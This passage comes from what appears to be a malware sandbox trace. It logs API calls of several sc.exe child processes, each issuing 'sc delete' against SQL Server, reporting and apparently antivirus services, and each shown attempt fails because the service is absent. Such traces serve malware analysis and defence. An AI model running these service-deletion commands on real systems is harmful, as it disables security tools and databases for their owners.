_wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0065.822] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0065.822] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0065.822] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0065.822] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0065.822] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0065.822] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2543f0 [0065.826] OpenServiceW (hSCManager=0x2543f0, lpServiceName="MSSQLServerOLAPService", dwDesiredAccess=0x10000) returned 0x0 [0065.827] GetLastError () returned 0x424 [0065.827] _itow (in: _Dest=0x424, _Radix=1767928 | out: _Dest=0x424) returned="1060" [0065.827] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff18b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0065.829] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x1af9b0, nSize=0x2, Arguments=0x1af9e0 | out: lpBuffer="跐%") returned 0x62 [0065.830] GetFileType (hFile=0x120) returned 0x3 [0065.830] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x258eb0 [0065.830] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x258eb0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n%", lpUsedDefaultChar=0x0) returned 98 [0065.830] WriteFile (in: hFile=0x120, lpBuffer=0x258eb0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1af958, lpOverlapped=0x0 | out: lpBuffer=0x258eb0*, lpNumberOfBytesWritten=0x1af958*=0x62, lpOverlapped=0x0) returned 1 [0065.830] LocalFree (hMem=0x258eb0) returned 0x0 [0065.830] LocalFree (hMem=0x258dd0) returned 0x0 [0065.830] LocalFree (hMem=0x0) returned 0x0 [0065.830] CloseServiceHandle (hSCObject=0x2543f0) returned 1 [0065.832] exit (_Code=1060) Thread: id = 51 os_tid = 0x348 Process: id = "26" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3872e000" os_pid = "0xbb4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete MsDtsServer100" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 52 os_tid = 0xb3c [0065.888] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x20fa10 | out: lpSystemTimeAsFileTime=0x20fa10*(dwLowDateTime=0xe9b8c010, dwHighDateTime=0x1d62701)) [0065.888] GetCurrentProcessId () returned 0xbb4 [0065.888] GetCurrentThreadId () returned 0xb3c [0065.888] GetTickCount () returned 0x114781d [0065.888] QueryPerformanceCounter (in: lpPerformanceCount=0x20fa18 | out: lpPerformanceCount=0x20fa18*=18608684594) returned 1 [0065.890] GetModuleHandleW (lpModuleName=0x0) returned 0xff4d0000 [0065.890] __set_app_type (_Type=0x1) [0065.890] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff4d7228) returned 0x0 [0065.890] __wgetmainargs (in: _Argc=0xff4db604, _Argv=0xff4db610, _Env=0xff4db608, _DoWildCard=0, _StartInfo=0xff4db050 | out: _Argc=0xff4db604, _Argv=0xff4db610, _Env=0xff4db608) returned 0 [0065.891] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0065.894] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0065.894] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0065.894] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0065.894] _wcsicmp (_String1="delete", _String2="query") returned -13 [0065.894] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0065.894] _wcsicmp (_String1="delete", _String2="start") returned -15 [0065.894] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0065.894] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0065.894] _wcsicmp (_String1="delete", _String2="control") returned 1 [0065.894] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0065.894] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0065.894] _wcsicmp (_String1="delete", _String2="config") returned 1 [0065.894] _wcsicmp (_String1="delete", _String2="description") returned -7 [0065.895] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0065.895] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0065.895] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0065.895] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0065.895] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0065.895] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0065.895] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0065.895] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0065.895] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0065.895] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0065.895] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0065.895] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0065.895] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0065.895] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0065.895] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0065.895] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0065.895] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0065.895] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0065.895] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3e43d0 [0065.899] OpenServiceW (hSCManager=0x3e43d0, lpServiceName="MsDtsServer100", dwDesiredAccess=0x10000) returned 0x0 [0065.900] GetLastError () returned 0x424 [0065.900] _itow (in: _Dest=0x424, _Radix=2160760 | out: _Dest=0x424) returned="1060" [0065.900] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff4db740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0065.902] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x20f830, nSize=0x2, Arguments=0x20f860 | out: lpBuffer="趰>") returned 0x62 [0065.903] GetFileType (hFile=0x120) returned 0x3 [0065.903] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x3e8e90 [0065.903] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x3e8e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n>", lpUsedDefaultChar=0x0) returned 98 [0065.903] WriteFile (in: hFile=0x120, lpBuffer=0x3e8e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x20f7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e8e90*, lpNumberOfBytesWritten=0x20f7d8*=0x62, lpOverlapped=0x0) returned 1 [0065.903] LocalFree (hMem=0x3e8e90) returned 0x0 [0065.903] LocalFree (hMem=0x3e8db0) returned 0x0 [0065.903] LocalFree (hMem=0x0) returned 0x0 [0065.904] CloseServiceHandle (hSCObject=0x3e43d0) returned 1 [0065.906] exit (_Code=1060) Thread: id = 53 os_tid = 0xb7c Process: id = "27" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x37333000" os_pid = "0x6c8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete ReportServer" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 54 os_tid = 0xb8c [0065.965] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xef9b0 | out: lpSystemTimeAsFileTime=0xef9b0*(dwLowDateTime=0xe9c4a6f0, dwHighDateTime=0x1d62701)) [0065.965] GetCurrentProcessId () returned 0x6c8 [0065.965] GetCurrentThreadId () returned 0xb8c [0065.965] GetTickCount () returned 0x114786b [0065.965] QueryPerformanceCounter (in: lpPerformanceCount=0xef9b8 | out: lpPerformanceCount=0xef9b8*=18616392286) returned 1 [0065.967] GetModuleHandleW (lpModuleName=0x0) returned 0xff060000 [0065.967] __set_app_type (_Type=0x1) [0065.967] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff067228) returned 0x0 [0065.967] __wgetmainargs (in: _Argc=0xff06b604, _Argv=0xff06b610, _Env=0xff06b608, _DoWildCard=0, _StartInfo=0xff06b050 | out: _Argc=0xff06b604, _Argv=0xff06b610, _Env=0xff06b608) returned 0 [0065.968] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0065.970] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0065.971] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0065.971] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0065.971] _wcsicmp (_String1="delete", _String2="query") returned -13 [0065.971] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0065.971] _wcsicmp (_String1="delete", _String2="start") returned -15 [0065.971] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0065.971] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0065.971] _wcsicmp (_String1="delete", _String2="control") returned 1 [0065.971] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0065.971] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0065.971] _wcsicmp (_String1="delete", _String2="config") returned 1 [0065.971] _wcsicmp (_String1="delete", _String2="description") returned -7 [0065.971] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0065.971] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0065.971] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0065.971] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0065.971] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0065.971] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0065.971] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0065.971] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0065.971] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0065.971] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0065.971] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0065.971] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0065.971] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0065.971] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0065.971] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0065.971] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0065.971] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0065.971] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0065.972] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2f4370 [0065.976] OpenServiceW (hSCManager=0x2f4370, lpServiceName="ReportServer", dwDesiredAccess=0x10000) returned 0x0 [0065.976] GetLastError () returned 0x424 [0065.976] _itow (in: _Dest=0x424, _Radix=981016 | out: _Dest=0x424) returned="1060" [0065.976] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff06b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0065.978] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0xef7d0, nSize=0x2, Arguments=0xef800 | out: lpBuffer="跀/") returned 0x62 [0065.979] GetFileType (hFile=0x120) returned 0x3 [0065.979] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x2f8ea0 [0065.979] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x2f8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n/", lpUsedDefaultChar=0x0) returned 98 [0065.979] WriteFile (in: hFile=0x120, lpBuffer=0x2f8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xef778, lpOverlapped=0x0 | out: lpBuffer=0x2f8ea0*, lpNumberOfBytesWritten=0xef778*=0x62, lpOverlapped=0x0) returned 1 [0065.979] LocalFree (hMem=0x2f8ea0) returned 0x0 [0065.979] LocalFree (hMem=0x2f8dc0) returned 0x0 [0065.979] LocalFree (hMem=0x0) returned 0x0 [0065.979] CloseServiceHandle (hSCObject=0x2f4370) returned 1 [0065.981] exit (_Code=1060) Thread: id = 55 os_tid = 0x618 Process: id = "28" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x37a38000" os_pid = "0xb74" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete \"SQLTELEMETRY$HL\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 56 os_tid = 0xb68 [0066.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12fa30 | out: lpSystemTimeAsFileTime=0x12fa30*(dwLowDateTime=0xe9ce2c70, dwHighDateTime=0x1d62701)) [0066.038] GetCurrentProcessId () returned 0xb74 [0066.038] GetCurrentThreadId () returned 0xb68 [0066.038] GetTickCount () returned 0x11478a9 [0066.039] QueryPerformanceCounter (in: lpPerformanceCount=0x12fa38 | out: lpPerformanceCount=0x12fa38*=18623709154) returned 1 [0066.040] GetModuleHandleW (lpModuleName=0x0) returned 0xffa10000 [0066.040] __set_app_type (_Type=0x1) [0066.040] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffa17228) returned 0x0 [0066.040] __wgetmainargs (in: _Argc=0xffa1b604, _Argv=0xffa1b610, _Env=0xffa1b608, _DoWildCard=0, _StartInfo=0xffa1b050 | out: _Argc=0xffa1b604, _Argv=0xffa1b610, _Env=0xffa1b608) returned 0 [0066.041] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.044] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0066.044] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0066.044] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0066.044] _wcsicmp (_String1="delete", _String2="query") returned -13 [0066.044] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0066.044] _wcsicmp (_String1="delete", _String2="start") returned -15 [0066.044] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0066.044] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0066.044] _wcsicmp (_String1="delete", _String2="control") returned 1 [0066.044] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0066.044] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0066.044] _wcsicmp (_String1="delete", _String2="config") returned 1 [0066.044] _wcsicmp (_String1="delete", _String2="description") returned -7 [0066.044] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0066.044] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0066.044] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0066.044] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0066.044] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0066.044] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0066.044] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0066.044] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0066.044] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0066.044] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0066.044] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0066.044] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0066.044] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0066.044] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0066.045] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0066.045] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0066.045] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0066.045] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0066.045] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x1743e0 [0066.049] OpenServiceW (hSCManager=0x1743e0, lpServiceName="SQLTELEMETRY$HL", dwDesiredAccess=0x10000) returned 0x0 [0066.049] GetLastError () returned 0x424 [0066.049] _itow (in: _Dest=0x424, _Radix=1243288 | out: _Dest=0x424) returned="1060" [0066.049] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffa1b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0066.051] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x12f850, nSize=0x2, Arguments=0x12f880 | out: lpBuffer="跀\x17") returned 0x62 [0066.052] GetFileType (hFile=0x120) returned 0x3 [0066.052] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x178ea0 [0066.052] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x178ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x17", lpUsedDefaultChar=0x0) returned 98 [0066.052] WriteFile (in: hFile=0x120, lpBuffer=0x178ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x12f7f8, lpOverlapped=0x0 | out: lpBuffer=0x178ea0*, lpNumberOfBytesWritten=0x12f7f8*=0x62, lpOverlapped=0x0) returned 1 [0066.052] LocalFree (hMem=0x178ea0) returned 0x0 [0066.052] LocalFree (hMem=0x178dc0) returned 0x0 [0066.052] LocalFree (hMem=0x0) returned 0x0 [0066.052] CloseServiceHandle (hSCObject=0x1743e0) returned 1 [0066.054] exit (_Code=1060) Thread: id = 57 os_tid = 0xb70 Process: id = "29" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3853d000" os_pid = "0xad4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete TMBMServer" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 58 os_tid = 0xb88 [0066.107] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16fbf0 | out: lpSystemTimeAsFileTime=0x16fbf0*(dwLowDateTime=0xe9da1350, dwHighDateTime=0x1d62701)) [0066.107] GetCurrentProcessId () returned 0xad4 [0066.107] GetCurrentThreadId () returned 0xb88 [0066.108] GetTickCount () returned 0x11478f7 [0066.108] QueryPerformanceCounter (in: lpPerformanceCount=0x16fbf8 | out: lpPerformanceCount=0x16fbf8*=18630610730) returned 1 [0066.109] GetModuleHandleW (lpModuleName=0x0) returned 0xff7a0000 [0066.109] __set_app_type (_Type=0x1) [0066.109] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff7a7228) returned 0x0 [0066.109] __wgetmainargs (in: _Argc=0xff7ab604, _Argv=0xff7ab610, _Env=0xff7ab608, _DoWildCard=0, _StartInfo=0xff7ab050 | out: _Argc=0xff7ab604, _Argv=0xff7ab610, _Env=0xff7ab608) returned 0 [0066.110] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.112] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0066.112] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0066.112] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0066.112] _wcsicmp (_String1="delete", _String2="query") returned -13 [0066.113] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0066.113] _wcsicmp (_String1="delete", _String2="start") returned -15 [0066.113] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0066.113] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0066.113] _wcsicmp (_String1="delete", _String2="control") returned 1 [0066.113] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0066.113] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0066.113] _wcsicmp (_String1="delete", _String2="config") returned 1 [0066.113] _wcsicmp (_String1="delete", _String2="description") returned -7 [0066.113] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0066.113] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0066.113] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0066.113] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0066.113] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0066.113] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0066.113] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0066.113] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0066.113] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0066.113] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0066.113] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0066.113] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0066.113] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0066.113] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0066.113] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0066.113] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0066.113] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0066.113] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0066.114] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x244370 [0066.118] OpenServiceW (hSCManager=0x244370, lpServiceName="TMBMServer", dwDesiredAccess=0x10000) returned 0x0 [0066.118] GetLastError () returned 0x424 [0066.119] _itow (in: _Dest=0x424, _Radix=1505880 | out: _Dest=0x424) returned="1060" [0066.119] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff7ab740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0066.121] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x16fa10, nSize=0x2, Arguments=0x16fa40 | out: lpBuffer="跀$") returned 0x62 [0066.122] GetFileType (hFile=0x120) returned 0x3 [0066.122] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x248ea0 [0066.122] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x248ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n$", lpUsedDefaultChar=0x0) returned 98 [0066.122] WriteFile (in: hFile=0x120, lpBuffer=0x248ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x16f9b8, lpOverlapped=0x0 | out: lpBuffer=0x248ea0*, lpNumberOfBytesWritten=0x16f9b8*=0x62, lpOverlapped=0x0) returned 1 [0066.122] LocalFree (hMem=0x248ea0) returned 0x0 [0066.122] LocalFree (hMem=0x248dc0) returned 0x0 [0066.122] LocalFree (hMem=0x0) returned 0x0 [0066.122] CloseServiceHandle (hSCObject=0x244370) returned 1 [0066.125] exit (_Code=1060) Thread: id = 59 os_tid = 0xb6c Process: id = "30" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x37d42000" os_pid = "0xb78" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete \"MSSQL$PROGID\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 60 os_tid = 0xb64 [0066.193] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10fa30 | out: lpSystemTimeAsFileTime=0x10fa30*(dwLowDateTime=0xe9e5fa30, dwHighDateTime=0x1d62701)) [0066.193] GetCurrentProcessId () returned 0xb78 [0066.193] GetCurrentThreadId () returned 0xb64 [0066.193] GetTickCount () returned 0x1147945 [0066.193] QueryPerformanceCounter (in: lpPerformanceCount=0x10fa38 | out: lpPerformanceCount=0x10fa38*=18639140553) returned 1 [0066.194] GetModuleHandleW (lpModuleName=0x0) returned 0xff9d0000 [0066.194] __set_app_type (_Type=0x1) [0066.194] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff9d7228) returned 0x0 [0066.195] __wgetmainargs (in: _Argc=0xff9db604, _Argv=0xff9db610, _Env=0xff9db608, _DoWildCard=0, _StartInfo=0xff9db050 | out: _Argc=0xff9db604, _Argv=0xff9db610, _Env=0xff9db608) returned 0 [0066.195] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.197] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, 